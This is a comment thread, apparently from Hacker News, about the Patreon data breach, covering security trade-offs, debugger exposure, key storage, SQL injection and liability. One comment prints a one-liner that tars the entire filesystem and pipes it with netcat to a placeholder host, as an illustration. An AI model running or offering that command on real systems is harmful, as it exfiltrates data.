Gigabytes of user data from hack of Patreon donations site dumped online
arstechnica.com
arstechnica.com
EDIT: I was being sarcastic.
This is a good read: https://www.schneier.com/essays/archives/2000/04/the_process...
Security, if taken seriously is a set of policies related to software and hardware (in the post-Snowden era).
Applying patches like grsecurity, running services through chroot jails, installing IDS systems and reporting tools makes a system (every system) extremely inflexible. Updates become nightmare.
Tuning a system to avoid false positives might take a forever and then the topology/setup/clients/users change. Back to square one again!
New tech like docker or any kind of virtualization are out of question. You probably don't want PHP, Python or Ruby applications. Do you really need JS. Can you debug all the libraries the developers used? Is their responsibility or no, to audit every new shiny framework for security?! Are they going to pay for it? Is it worth it?
The personnel, even the managers, must go through a lot when the systems are secure. More often then than not, people consider standard security measures exaggerations, so they more often than not try to avoid all the hassle. Can you cope with these people, time and again?
And sometimes even taking extreme measures might not be enough[1]. We keep adding layers upon layers at all levels: Development, Sys-admin (now Devops), etc. Can audit every piece of software that comes into the stack? Of course not.
You either have a security team that breaks everyone's balls with audits and strict policies that will cost you money and most startups or even corps can not afford the kind of inflexibility and cost that this brings in.
Security is a trade-off and truth is that most of the times is just additional cost and complexity and even when you're ready to make that trade-off, you're still not invulnerable by any means.
[1] http://www.cnet.com/news/report-of-fbi-back-door-roils-openb...
Let's assume they are connecting using an iOS device or OSX on a Mac to run commands on the server. As everyone knows, Apple devices allow full root access from the cloud for Apple to install new applications etc. These same backdoors can often be exploited [1] or leveraged by governments. If we assume an attacker has full control of the laptop the devops engineer is using to secure the system it becomes trivial for him to insert a backdoor in the servers too.
[1] https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-...
There is a huge Market for Lemons (https://en.wikipedia.org/wiki/The_Market_for_Lemons) style scenario in IT systems with relation to security.
Everyone will say "we take security seriously", but there's no way for ordinary consumers (or indeed most companies) to determine what the company meant by their statement, and to evaluate the relative security of the systems of two companies.
This could actually provides a market incentive for companies not to spend too much on security, as those that do will have lower profits than those that don't.. until they get breached, and even then companies with good security can be breached...
The information (AFAIK) about their security mechanisms only got released as a result of the breach, so even assuming you knew what the terms were and how to judge good security from bad, you wouldn't have the information until the site got compromised.
This is a very common problem, some more examples here http://raesene.github.io/blog/2014/06/08/finding-security/
The password hashing algorithm wasn't, but then again an informed consumer uses unique passwords for each site, so that's less relevant.
If there were fines, it would scare away people with less technical skills who would want to start something new.
What we must do is introduce certifications, this would help make companies more security aware, but wont make it mandatory.
If I bought glowsticks at the mall and they injured me when I used them I would expect consumer protection laws to issue fines to make selling them too risky a venture, why shouldn't I be protected by a similar mechanism for injury caused by leaky data?
The bad publicity around such a hack can very much turn a company belly up. Massive fines will not alter the incentive structure significantly, they already know a hack is a bad thing.
On the other hand, there are plenty of interventions that would change the security incentives. For example, decriminalize white hat hacking to allow access to any internet connected system, as long as the vulnerability is reported within 7 days to the relevant bodies and no data is duplicated/altered. Heck, award prizes for it.
We've all made stupid mistakes and not paid a price as high as this!
Your customer data is your customers' data. It's not yours to toy with as you please.
That's the European point of view. In the US, customer data is nothing more than an asset.
Does not help. The cases I saw in the past were people putting Werkzeug's stuff behind ngrok, proxies, nginx in which cases it will all look like local requests.
Aside of that, you cannot securely detect this because what it actually does is passing in a header which if not reliably set can be forged.
It's not exactly uncommon that people leak errors, remote code execution is another level though. It doesn't hurt to be careful with such a feature.
It's still only a way to prevent greater damage, you should still not run the debugger enabled in prod.
What I mean is, if your private browsing session from your laptop, along with non-private sessions, and data connections for IM conversations, were all leaked, that would be intensely revealing.
Frankly it bothers me how lackadaisically business types treat security sometimes, caring more about company image than customer privacy, to the point of never revealing massive breaches if they don't hit states' ridiculous requirements for disclosure.
It seems that when Subbable was acquired by Patreon, they got the user information, and possibly password database, too. I can't log in to Patreon with my Subbable password, but my email address is definitely in the breach.
Makes me glad I use a password manager.
It's also a sobering reminder of the permanence of user data. You have to trust the competence of not only the service you use now, but any company that owns that service down the road. (Not that Subbable was necessarily more secure than Patreon.)
We're not vulnerable to this particular problem. And I feel pretty confident that both our stage and production environments are well-protected. However, I can't help but wonder if I'm missing something. I'm sure Patreon felt confident a month ago.
If I remember correctly, at least Google tokens wouldn't be: The application receives a token from Google. With that token, a new session token is created. This session token expires and can only be renewed with the application token and the correct redirect URL.
If Facebook uses a similar scheme, tokens would be useless without the running application renewing session tokens.
Does anyone know a responsible way I can check WHICH of my data has leaked short of downloading the entire archive and searching for myself?
I also couldn't find the details in the site anywhere.
From the email i received from patreon i reckon the only actual private thing is the exact sum i pay to who.
Some find addresses to be private, but at-least in my case any one can find where i live by looking on the local yellow pages website.
This disclosuee would allow those making that claim to demonstrate if their claims are accurate, and it allows those about whom the claim is made to demonstrate that the claim is inaccurate.
The only relevance to gamergate is that they'd be able to doxx people who support figures they don't like.
I've been doing web programming for a long time, and while direct DB access is both convenient and fast, I have to admit it's not easy to monitor these databases for breaches, or to stop them from spilling their entire contents if so requested.
I've ran systems like that, and I'm glad things are a lot easier to maintain now (stored procs are a pain in the ass, whether they exist in the database or in the app layer).
Query injection is solved by parameterising queries (never sanitising them yourself), it should not be an issue nowadays, "advanced SQL injection" is a lie, either you can inject or you can't.
If you can inject, it doesn't matter how many protections you put in place, you can always extract data via timing attacks or boolean conditions.
It helps in multiple ways. Since you define the data API yourself, you can tailor it tightly to only the exact operations you need. This makes it more difficult to flat-out drain everything (or even query everything, depending on your app). It's also another layer of insulation. The fact that it's another, non-standard access protocol also helps. If I'm an attacker, I'll probably have a harder time figuring out how the custom data layer works; and when I'm done with that I still need to actually siphon the data, which will ideally require me to either issue millions of suspicious requests, or try to break into the API server itself, which has a drastically reduced attack surface compared to a typical web app. Which is where your second question comes in:
> And why is it easier to monitor for unusual activity?
Because you know what the legitimate access patterns of your app look like, you can raise flags programmatically. In fact, you can incorporate certain checks right from the time you start writing your API. It puts you, as a programmer, into a position of control and you can use the global insight you have into your app's design to your advantage by defining what's normal and what's not.
Compare that with a general-purpose DB interface, which is ...well, general purpose. It doesn't know when it's doing something implausible. When something goes wrong with these databases, it's often the admin/ops people who notice it, if at all.
Considering that the database was designed specifically to support the website (so it's not supposed to have unrelated data), and that the frontend intermediates all access to the data, wouldn't the sum of the operations require access to all data? Why would you have data that was not needed by the website?
> If I'm an attacker, I'll probably have a harder time figuring out how the custom data layer works
This is just security by obscurity, except if the attacker has access to the client code, it's not even very obscure. Finding all calls to the backend API is a trivial task nowadays.
> Because you know what the legitimate access patterns of your app look like, you can raise flags programmatically.
Why can't you do that from the database logs? A query is just like an API call - you can raise flags if the frontend makes queries outside of a known pattern (ie, non-recognized queries or in an unexpected order).
How you can access the data matters, and typically not all data (nor all views to that data) are required to run the app. Some info should only ever travel one way (typically from the web server to the backend, like passwords, analytics, or payment data). There are whole categories of information that do not ever need to be queried in bulk by a legitimate user.
> This is just security by obscurity, except if the attacker has access to the client code, it's not even very obscure.
It's not like this approach in any way relies on that obscurity, but as a measure to increase time and effort required by the hacker, I'll take it. Just increasing the time spent figuring out how to query the backend gives site operators additional opportunities to spot that something is wrong. Compare this to the immeasurably small effort required to dump all SQL tables into a text file.
> Why can't you do that from the database logs?
Typically logs aren't analyzed in real time, and I'd hazard a guess in most cases they're not even analyzed at all. Most databases don't even keep an access log by default, and in many cases it's hard to implement one that is useful.
> A query is just like an API call - you can raise flags if the frontend makes queries outside of a known pattern
Theoretically: yes, practically: no. In case of SQL databases, this would practically mean communicating with the DB exclusively through stored procedures (or event handlers/filters in case of document databases), which is a poor man's version of what we're talking about in the first place. In practice, almost nobody uses their database in this way, because it's really painful and does not even offer that much protection.
Also, if someone hacks into the DB server, it is all meaningless.
Based on what we know about breaches in general, it's quite likely the attackers were inside the network undetected for months: https://blog.code42.com/the-heavy-cost-of-ignoring-dwell-tim...
This would be plenty of time to slowly spread through the network, learn what is stored where, and hop through servers until they got what they need - even in a setup like the one you describe.
the point of good security architecture is exactly that such thing can't happen. Security by compliance isn't good security.
Are they running on their own machines? AWS? Heroku?
From looking at their careers the use PostgreSQL/MySQL, Python, Scala, Ruby, Node.
I am assuming because of the nature of the breach that they are running their own servers (either on AWS or their own machines), it's a completely compromised server which had access to everything.
with e-mail addresses you need to use them in their unencrypted form (e.g. as login names), so encrypting wouldn't do much for you against most attacks.
For example to handle the case of unattended server reboot, you'd be likely to have the server have a script to load the key back into memory. Attacker gets shell access, they get the script, they get the key...
Security is always a trade-off and people tend not to engineer their webapps with the assumption that they'll be breached in specific ways.
tar czf - / | nc example.org 1234
... which requires the encryption keys to be know at the point of use - but it doesn't mean that they need to be kept with the database. It doesn't necessitate asymmetric encryption either.
If you keep the keys in a different location, completely away from the database server(s), then a compromised database or backup does not compromise any of the information. Of course there are attack routes that would still give access to the keys too, but you have covered quite a few common attack vectors.
The only way to protect against this would be some type of hardware key store with limited access to all employees and servers. I think there are a few (expensive) options which can do this, but nearly all services - especially startup services like this one - do not have this available to them.
Who knows if those hardware options aren't just as vulnerable to an experienced attacker though? I don't think they are generally well tested - probably half of the available options are snake oil.
To achieve that you would need human interaction to bring up a new box (or after an existing box is restarted) in order to hand over the keys (if the server could request the key from somewhere on the local network, then perhaps so can an attacker if they get access to run arbitrary things rather than just getting access to the filesystem or a copy thereof) which might be impractical for some environments, but it is possible.
For instance when my offsite backup server reboots it can't access the encrypted volumes until I login to mount them manually, sending the keys over SSH in such a way as they don't get stored.
The weak point then becomes the humans and the process they use to transmit the keys from the keystore to the servers.
In a big company though, having that one developer with full keys to the kingdom and is the only way to start up new servers is obviously out of the picture. Especially if the system works by having the keys on an easily stolen or damaged laptop...
Being able to dump RAM pretty much breaks the protection that this offers though, as you correctly point out.
If the whole machine is owned, then I guess it would possible to set limits on these operations. Or at least it can trigger an early warning.
This would also work when someone has forgotten their password, as long as they don't forget the email address they used to sign up. (This is actually the only reason why the user name has to be the same as the email address.)
You can't send regular information emails with this, though.
There's too much of a "code cowboy" mentality out there right now. As a community we've become very feature-driven and security is usually the last consideration. You need somebody whose name goes on the dotted line and assumes responsibility for the overall integrity of the system, because otherwise it's always Somebody Else's Problem. If you get breached and you weren't following best practices, then your PE takes on the liability, just like a building collapse or something.
This can be accomplished without significant burden to smalltime admins now that we have stuff like AWS and Docker. You should be able to Chef yourself a secure AWS instance and then Docker-Compose yourself a functional application deployment. Most smalltime users probably want some combination of CMS, storefront, or forum, and it should be pretty easy to provide these as prefabs. Some customization will be necessary, but then it will fall on the appdevs to force validation and security on the webdevs. If your defaults let someone inject SQL or something then it falls on the appdev, if the webdev uses an "unsafe" flag and overrides the defaults it rolls downhill onto the webdev. If you don't follow unit/integration testing best-practices, then it falls on you. If you don't pin your versions and a vulnerability opens up in the future - falls on you. Etc.
These standards should apply whenever you are a commercial entity or store Personally Identifying Information. If you are a legit smalltime user and don't want to use professionally licensed software then go ahead and do whatever, but you should be content with storing a username/password and perhaps using a one-time SMS or email validation that doesn't get stored. These then travel in a "viral" fashion like copyleft - if you are building a commercial website you need to do it using a storefront that has a licensed PE, that runs on a runtime that has a licensed PE. Once these are commonly available then most users would probably follow suit anyway.
This idea isn't going to be very popular with startup coders from Silicon Valley, but the reality is that the US is way out there on this stuff and we're seeing an epidemic of data breaches as a result. The EU has much more stringent data privacy laws. These don't have a whole lot of teeth at the moment, but the principles are down on paper and this is what I think you would need to implement them effectively.
To me HTML code is really a microcosm of the problem. People will write whatever old crap for as long as you let them get away with it. You have to make it as easy as possible to do the right thing, but a lot of people will have to be dragged kicking and screaming by turning on XHTML and disallowing standards non-compliance. Professional licensing is how you do that for applications and systems engineering.
As Schneier puts it - security is a process. The process doesn't have to be perfect, but there needs to be one. If your process is drastically substandard, someone need to be liable for that. The need for a standards group and a single point of liability follow logically from that, just as it does with other engineered systems. Under HIPAA an individual must be designated a "security officer", and that role should extend to other systems that store Personally Identifying Information as well.
I think the real point of disagreement with many people is about the significance of a data breach. In my opinion (and the standards of the EU) anything that leaks Personally Identifying Information is significant. It doesn't matter if it's leaking from an app that sends fart noises to your friends, only that it can be tied to you or your other accounts. If you really need to be storing PII then there needs to be a requirement to do it securely (meaning in accordance with secure best-practices). Otherwise, again, nobody does it until it's too late.
A good read: https://www.schneier.com/essays/archives/2000/04/the_process...
But these licenses already exist. And sites are still compromised, even government sites which are supposed to be hold to a higher standard.
Those are too many transactions with too little face value.
Credit card processing already handles the whole international transfer cost, and puts the burden on the processor instead of the payer. That processor can then do things like batch transactions to reduce the cost.
A long time ago the US and the European financial systems diverged. The US banks optimized for check processing and credit cards, while the Euro banks optimized for bank transfers. Domestic bank transfers typically cost around $25-35 a pop and take several days to clear in the US. Checks usually post instantly but take about as long to clear - the time between it posting and clearing is basically a loan, and the check may still bounce. Until a few years ago, many banks didn't even allow you to do bank transfers online. Stores will sometimes use "electronic checks" where you provide a blank check and they read the account numbers off it, but this is just a shortcut to avoid handling the piece of paper. The funds are still moved through the checking system. These are not available to regular account-holders either.
That's why we come up with all these systems like Paypal and Patreon to move money around - the bank-level tools are cumbersome, slow, and expensive for us.
That had many years to happen. It objectively didn't happen. Fact trumps theory.
Believe it or not, this re-inforces my commitment to SoundCloud, which isn't monetized (yet), thereby keeping listeners' financial information off the table for the present.
If you want, you can probably get into the hacked data and see my email warning them that by being a financial conduit they were not abiding by Safe Harbors with respect to the real rights owners.
It may not have "hosted" the music, but if you click on the music page, what do you see? Music videos. Then Patreon was the method to give those people money. People who may or may not have secured the proper licenses and paid the original artists.
Also, if I was an artist on the site, my personal information would be part of that dump - SSN, etc - so my reluctance to engage with them was prudent.
Edit: Downvoting my observations? I guess there are more people here that don't understand copyright than I figure, oh well.
You and your one brain and human experience are an incredibly bad sample size. :)
And why in the world would they want to get PR by faking a data breach?